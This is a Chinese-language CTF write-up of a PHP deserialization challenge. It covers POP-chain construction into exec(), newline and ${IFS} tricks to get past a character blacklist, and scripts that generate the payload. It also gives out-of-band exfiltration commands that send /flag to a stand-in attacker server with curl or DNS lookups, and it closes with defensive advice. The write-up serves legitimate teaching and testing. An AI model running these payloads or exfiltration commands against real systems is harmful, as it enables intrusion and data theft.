1. 项目概述:从一道CTF题看PHP反序列化的攻防艺术
最近在复盘一些经典的Web安全挑战,特别是CTF(Capture The Flag)中的题目,总能发现很多有趣且贴近实战的知识点。今天想和大家深入聊聊一道来自“攻防世界”平台的Web题目——unseping。这道题的核心考点是PHP反序列化漏洞的利用,以及如何绕过常见的WAF(Web应用防火墙)或代码过滤机制。对于Web安全初学者来说,理解反序列化可能有点门槛;而对于有经验的朋友,题目中设置的“绕过”环节,则是对思维灵活性和对PHP语言特性深度理解的一次很好检验。
简单来说,这道题模拟了一个常见的场景:一个Web应用接收用户输入,对其进行反序列化操作,但在反序列化之前或之后,加入了一些过滤或检查逻辑。攻击者的目标就是构造一个特殊的序列化字符串(我们称之为“反序列化链”或“POP链”),使其在通过过滤后,仍能成功触发恶意代码执行,从而读取服务器上的敏感文件(即“Flag”)。整个过程涉及PHP魔术方法、序列化字符串的构造、字符逃逸、编码绕过等多个技术点。接下来,我将以解题者的视角,带你一步步拆解这道题,不仅还原解题过程,更会深入剖析每一步背后的原理和多种可能的绕过思路。
2. 题目环境与核心代码逻辑拆解
首先,我们需要搭建或理解题目提供的环境。通常,这类题目会给出一个简单的PHP源码文件。假设我们拿到的核心代码如下(此为基于常见题型还原的典型结构):
<?php highlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ // 模拟一个简单的过滤 $str = preg_replace("/[|&`;]/", "", $str); return $str; } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } } $ctf = $_GET['ctf']; if(isset($ctf)){ unserialize($ctf); } ?>这段代码虽然不长,但信息量很大。我们逐一拆解:
- 入口点:代码通过
$_GET[‘ctf’]获取一个参数,并直接传递给unserialize()函数。这是典型的不安全的反序列化漏洞入口,因为它允许用户控制反序列化的数据。 - 核心类
ease:定义了一个名为ease的类。$method和$args是私有属性。__construct是构造函数,用于初始化这两个属性。__destruct是析构函数,在对象被销毁时自动调用。它的逻辑是关键:检查$this->method的值是否在允许的数组(这里只有”ping”)中,如果是,则使用call_user_func_array调用$this->ping方法,并将$this->args作为参数传入。ping方法接收一个参数$ip,并直接将其传递给exec()函数执行系统命令,然后将结果输出。这是一个明显的命令注入点。waf方法是一个简单的过滤函数,使用preg_replace移除了字符串中的|、&、`、;这些常用于命令拼接的字符。__wakeup是一个魔术方法,在对象被unserialize()反序列化时自动调用。这里它遍历$this->args数组,对每个值应用waf过滤。
攻击链(POP Chain)推理: 我们的目标是执行任意系统命令。从代码逻辑看,最直接的路径是:控制一个ease对象,使其$method为”ping”,$args为一个包含我们想要执行的命令的数组。当这个对象被反序列化后,首先触发__wakeup对$args进行过滤,然后对象生命周期结束时会触发__destruct,进而调用ping()方法执行命令。
但这里存在障碍:__wakeup中的waf过滤会删除我们命令中的关键字符。如果我们直接传递args为array(“ls /”),虽然ls和/不会被过滤,但如果我们想执行更复杂的命令如cat /flag,或者使用管道|、连接符&,就会被过滤掉。因此,“绕过”这个过滤就是本题的第一个难点。
3. 序列化字符串构造与属性访问控制
在构造攻击载荷之前,必须理解PHP序列化字符串的格式和私有/保护属性的表示方法,这是成功构造有效载荷的基础。
一个简单的ease对象序列化后看起来像这样:
$obj = new ease(“ping”, array(“whoami”)); echo serialize($obj);输出可能是:O:4:”ease”:2:{s:12:” ease method”;s:4:”ping”;s:10:” ease args”;a:1:{i:0;s:6:”whoami”;}}
我们来解析一下:
O:4:”ease”:表示一个对象(Object),类名长度为4,类名为ease。:2::表示该对象有2个属性。{s:12:” ease method”;s:4:”ping”;:第一个属性。注意,对于私有属性,序列化后的属性名格式为”\0类名\0属性名”。这里的\0是空字符(ASCII 0)。所以ease类的私有属性$method的序列化名称是”\0ease\0method”,长度为12。其值s:4:”ping”表示一个长度为4的字符串”ping”。s:10:” ease args”;a:1:{i:0;s:6:”whoami”;}:第二个属性。私有属性$args的序列化名称是”\0ease\0args”,长度10。其值a:1:{i:0;s:6:”whoami”;}表示一个数组(array),有1个元素,键为0(整数i:0),值为字符串”whoami”。
关键点1:空字符的表示。在URL传输或某些处理上下文中,空字符
\0可能需要被编码。在PHP中,序列化字符串里的\0就是字面的空字符。但当我们在浏览器中通过GET参数传递时,需要确保它被正确编码。有时,直接复制包含不可见字符的字符串会出错,因此我们通常通过编写PHP脚本生成序列化字符串。
关键点2:属性数量的一致性。在序列化字符串中
O:4:”ease”:2:声明了有2个属性,后面花括号{}里的属性定义必须恰好是2个,否则在反序列化时可能会失败或触发__wakeup魔术方法的某些特性(在PHP版本<7.4中,如果属性数量不匹配,__wakeup可能不会被调用,这本身曾是一种绕过手段,但本题环境通常已修复)。
我们的任务就是手工(或写脚本)构造一个序列化字符串,其中$method为”ping”,$args为我们精心构造的、能绕过过滤的命令数组。
4. WAF过滤绕过技术深度解析
题目中的waf函数过滤了| &;`这四个字符。在Linux命令注入中,这些字符确实非常常用:
|:管道,将前一个命令的输出作为后一个命令的输入。&:后台运行,或用于命令拼接(command1 & command2)。`:反引号,用于命令替换,执行括起来的命令并返回输出。;:分号,顺序执行多个命令。
过滤了这些,我们还能执行命令吗?当然可以,安全攻防的本质就是“用尽一切可能”。以下是一些绕过思路:
4.1 利用未过滤的命令连接符Linux下命令连接不止这几种。常见的还有:
&&:逻辑与,前一个命令成功才执行后一个。虽然&被过滤,但&&是两个字符,正则/[|&;]/会匹配并删除其中的&,留下一个单独的&`,可能破坏原有语法。但我们可以思考其他方式。||:逻辑或,前一个命令失败才执行后一个。同样,|被过滤。\n(换行符):在Shell中,换行符同样可以分隔命令。这是一个非常重要的绕过点。PHP的exec()函数默认会调用sh或bash,而它们都接受换行符作为命令分隔符。我们可以在参数中插入%0a(URL编码的换行符)来分隔命令。- 例如,我们想执行
ls /和cat /flag,可以构造参数为”ls /%0acat /flag”。经过waf过滤,%0a不会被删除,因为它不是|&;中的任何一个。当这个字符串传递给exec()`时,Shell会将其解析为两条顺序执行的命令。
- 例如,我们想执行
4.2 利用通配符和字符串拼接有时,flag文件名可能未知,或者路径中有特殊字符。我们可以利用Shell通配符。
*:匹配任意字符。例如,如果flag文件在根目录且文件名包含flag,可以用cat /fla*或cat /fla?来尝试读取。- 变量拼接:在Bash中,可以用
${IFS}代替空格(因为空格通常不会被过滤)。IFS是内部字段分隔符,默认包含空格、制表符、换行符。例如cat${IFS}/flag。 - 但注意,我们的过滤不涉及空格和大多数字母,所以直接使用空格通常是安全的。
4.3 编码与十六进制/八进制绕过高级的绕过可能会用到编码。
- 十六进制:Bash支持
$’\xHH’的格式表示字符,例如|的十六进制是0x7c,可以写成$’\x7c’。但这里有个问题:字符串$’\x7c’本身会作为参数传递给ping方法,然后由exec交给Shell解析。Shell在解析参数字符串时,会解释$’\x7c’并将其转换为|。然而,我们的输入在PHP层面是字符串,$’\x7c’中的$和\本身是普通字符,能否被Shell正确识别,取决于exec的调用方式和Shell环境。这是一种可能的思路,但成功率依赖于环境。 - 反斜杠转义:在某些上下文中,可以用反斜杠来转义特殊字符,但在这里用途有限。
4.4 利用PHP本身和序列化结构的特性——字符逃逸这是本题更精妙的一种解法,也是反序列化题目中常见的考点。我们注意到,waf过滤是preg_replace(“/[|&;]/”, “”, $str)`,它用空字符串替换掉匹配的字符。这会导致字符串长度变短。
回顾序列化字符串的格式:s:长度:”值”。这个“长度”是字符串值的实际字节长度。PHP在反序列化时,会严格按照这个长度来读取后面的值。如果我们通过过滤,使值的实际长度小于序列化字符串中声明的长度,会发生什么?
例如,我们构造$args为array(“a;ls /”)。序列化后,这部分是s:6:”a;ls /”(长度6)。经过__wakeup中的waf过滤后,;被删除,字符串变成”als /”,长度变为5。但反序列化引擎仍然试图读取6个字节的“值”,它会多读一个字符(可能是后面序列化字符串的一部分),导致整个反序列化结构被破坏,可能引发错误,也可能意外地让后面的数据被当作值的一部分,从而实现“字符逃逸”,注入新的序列化属性。
要利用这一点,需要精确计算。我们可以构造一个值,其中包含大量会被过滤的字符,过滤后长度减少N,那么我们就可以在序列化字符串中“腾出”N个字节的空间,并在这段空间里注入我们想添加的序列化数据。这通常用于构造更复杂的攻击链,比如修改$method的值(原本它应该是”ping”)或者注入其他对象。但这道题中,由于$method在__wakeup之后才被使用,且__wakeup只过滤了$args,$method本身没有被过滤,所以我们可能不需要这么复杂的逃逸来修改$method,只需要让命令绕过$args的过滤即可。不过,理解字符逃逸是深入反序列化漏洞的必修课。
对于本题,最直接有效的绕过方法往往是利用换行符%0a作为命令分隔符。
5. 完整攻击载荷构造与实战演示
结合以上分析,我们开始构造最终的攻击载荷。目标是执行命令读取flag,假设flag文件在/flag。
步骤1:确定要执行的命令由于|&;被过滤,我们使用换行符\n(URL编码为%0a)来分隔命令。一个简单的测试和读取命令可以是:ls /%0acat /flag`。这条命令先列出根目录确认文件位置,然后读取flag文件。
步骤2:编写PHP脚本生成序列化字符串我们不能手动拼接带有空字符的序列化字符串,容易出错。最好写一个脚本:
<?php class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } } // 构造对象,$args是数组,包含我们的命令 $cmd = “ls /%0acat /flag”; // 注意,这里的%0a在PHP字符串中就是字面的两个字符‘%’,‘0’,‘a’。我们需要的是真正的换行符。 // 实际上,在PHP中,我们可以直接使用双引号字符串和\n,或者chr(10) $cmd = “ls /\ncat /flag”; // \n在双引号字符串中会被解析为换行符 $obj = new ease(“ping”, array($cmd)); echo serialize($obj); // 输出结果类似: // O:4:”ease”:2:{s:12:” ease method”;s:4:”ping”;s:10:” ease args”;a:1:{i:0;s:14:”ls / // cat /flag”;}} // 注意,输出的字符串里包含了实际的换行符,显示为折行。 ?>运行这个脚本,得到序列化字符串。注意,这个字符串里包含了不可见的换行符。我们需要将其进行URL编码,以便通过GET参数安全传输。
步骤3:对序列化字符串进行URL编码由于序列化字符串中包含空字符\0和换行符\n等非打印字符,直接拼接到URL中可能会丢失或出错。我们需要对整个序列化字符串进行urlencode处理。
<?php // … 同上,构造$obj … $serialized = serialize($obj); echo urlencode($serialized); ?>运行后,会得到一串百分号编码的字符串。这是我们的最终攻击载荷。
步骤4:发起请求假设题目部署在http://target.com/challenge.php,我们使用浏览器、curl或Burp Suite等工具发起请求:http://target.com/challenge.php?ctf=URLENCODED_PAYLOAD
将URLENCODED_PAYLOAD替换为上一步得到的结果。
步骤5:结果解析如果一切顺利,页面会执行ping方法,即exec(“ls /\ncat /flag”, $result),然后var_dump($result)输出结果。输出中应该会包含根目录列表和flag文件的内容。
6. 进阶绕过与替代方案探讨
如果题目环境发生变化,或者过滤规则更加严格,我们可能需要其他方案。
6.1 过滤了空格和换行符如果waf函数加强,也过滤了空格 和换行符\n,我们可以尝试:
- 使用
${IFS}代替空格(如果$、{、}未被过滤)。 - 使用制表符
%09代替空格(如果制表符未被过滤)。 - 使用重定向符
<>:例如cat</flag,<在这里被用作输入重定向,可以绕过空格。 - 使用Bash的内置字符串替换:例如
{cat,/flag},这会被扩展为cat /flag。
6.2 无回显下的外带数据(OOB)如果命令执行了但没有回显(即var_dump被移除或结果不显示),我们需要通过外带(Out-of-Band)技术将数据带出来。常用方法:
curl或wget:让服务器访问我们控制的网站,并将flag作为URL参数或POST数据发送。例如:curl http://your-server.com/?flag=$(cat /flag|base64)。这需要目标服务器能出网,且安装了这些工具。DNS外带:使用dig或nslookup,将flag作为子域名的一部分进行DNS查询。例如:dig $(cat /flag|tr -d ‘\n’).your-domain.com。这通常能绕过更严格的防火墙。- 写入Web目录:如果可以,将flag写入Web可访问的目录,然后通过浏览器访问。例如:
cp /flag /var/www/html/flag.txt。
6.3 利用其他魔术方法或POP链本题的POP链很简单:__wakeup->__destruct->call_user_func_array->exec。但在更复杂的代码中,可能需要串联多个类的魔术方法(如__toString、__call、__get、__set等)才能达到代码执行的目的。这就需要仔细阅读源码,理解对象之间的交互和属性访问流程,构造一条“属性导向编程(Property-Oriented Programming)”链,即POP链。
7. 防御建议与安全编程思考
从这道题出发,我们可以总结出一些对于开发者的安全建议:
- 永远不要反序列化不可信的数据:这是根本原则。如果必须使用反序列化,可以考虑使用安全的替代方案,如JSON(
json_decode)。 - 使用白名单机制:如果业务必须使用反序列化,应严格限制可反序列化的类。PHP提供了
unserialize()的第二个参数[‘allowed_classes’ => false](PHP 7.0+)来禁用所有类的反序列化,或者指定一个明确的白名单数组。 - 魔术方法需谨慎:
__wakeup、__destruct、__toString等魔术方法在反序列化攻击链中经常被利用。在这些方法中应避免执行敏感操作,或至少进行严格的输入验证。 - 输入验证与过滤:正如本题所示,过滤(黑名单)往往可以被绕过。安全设计应倾向于白名单验证,只允许已知安全的字符或模式。对于命令执行,应使用参数化调用(如
exec(‘ls’, [‘-la’, ‘/home’]))而不是字符串拼接,但注意PHP的exec本身不支持参数数组,更好的方式是使用escapeshellarg()或escapeshellcmd()函数对参数进行转义,或者彻底避免使用exec、system、shell_exec等函数。 - 最小权限原则:运行Web服务的用户(如www-data)应具有尽可能低的权限,避免其能够读取或写入敏感文件。
8. 实战中可能遇到的坑与排查技巧
- 序列化字符串格式错误:手动构造或修改序列化字符串时,极易出错。属性数量、长度声明必须绝对准确。一个字符的错误就会导致反序列化失败。务必使用脚本生成,并直接复制输出。
- URL编码问题:生成的序列化字符串必须进行完整的URL编码。使用
urlencode()函数,而不是只对部分字符(如空格)进行替换。在Burp Suite中发送时,注意Decoder模块的使用,确保Payload以正确的格式粘贴。 - 特殊字符的表示:注意
\0(空字符)在序列化字符串中的表示。在PHP源码视图里,它可能显示为\0,但在字符串处理时它是一个单字符。确保你的生成和传输过程没有改变它。 - PHP版本差异:不同PHP版本在反序列化细节上可能有差异,例如
__wakeup在属性数量不匹配时的行为(CVE-2016-7124)。了解你的目标环境版本。 - 无回显的判断:如果页面没有输出,如何判断命令是否执行?可以尝试执行一个会有明显侧信道效果的命令,如
sleep 5,观察页面响应是否延迟。或者尝试使用ping命令向自己的服务器发送ICMP包,用Wireshark或tcpdump抓包判断。 - 绕过长度限制:有时GET参数有长度限制。如果序列化后的Payload过长,可以尝试缩短命令(如使用短变量名
/???/???代替/usr/bin/wget),或者改用POST请求提交数据。
这道unseping题目虽然代码量不大,但涵盖了反序列化漏洞利用的基础流程、POP链构造、简单的WAF绕过以及Linux命令注入的多种技巧。通过亲手实践一遍从代码审计、思路形成、Payload构造到最终利用的完整过程,对理解PHP反序列化漏洞的实质和Web安全的攻防思维大有裨益。在实际的安全测试或CTF比赛中,遇到类似问题,首先要做的就是静下心来仔细阅读每一行代码,理解数据流和控制流,然后大胆假设,小心验证。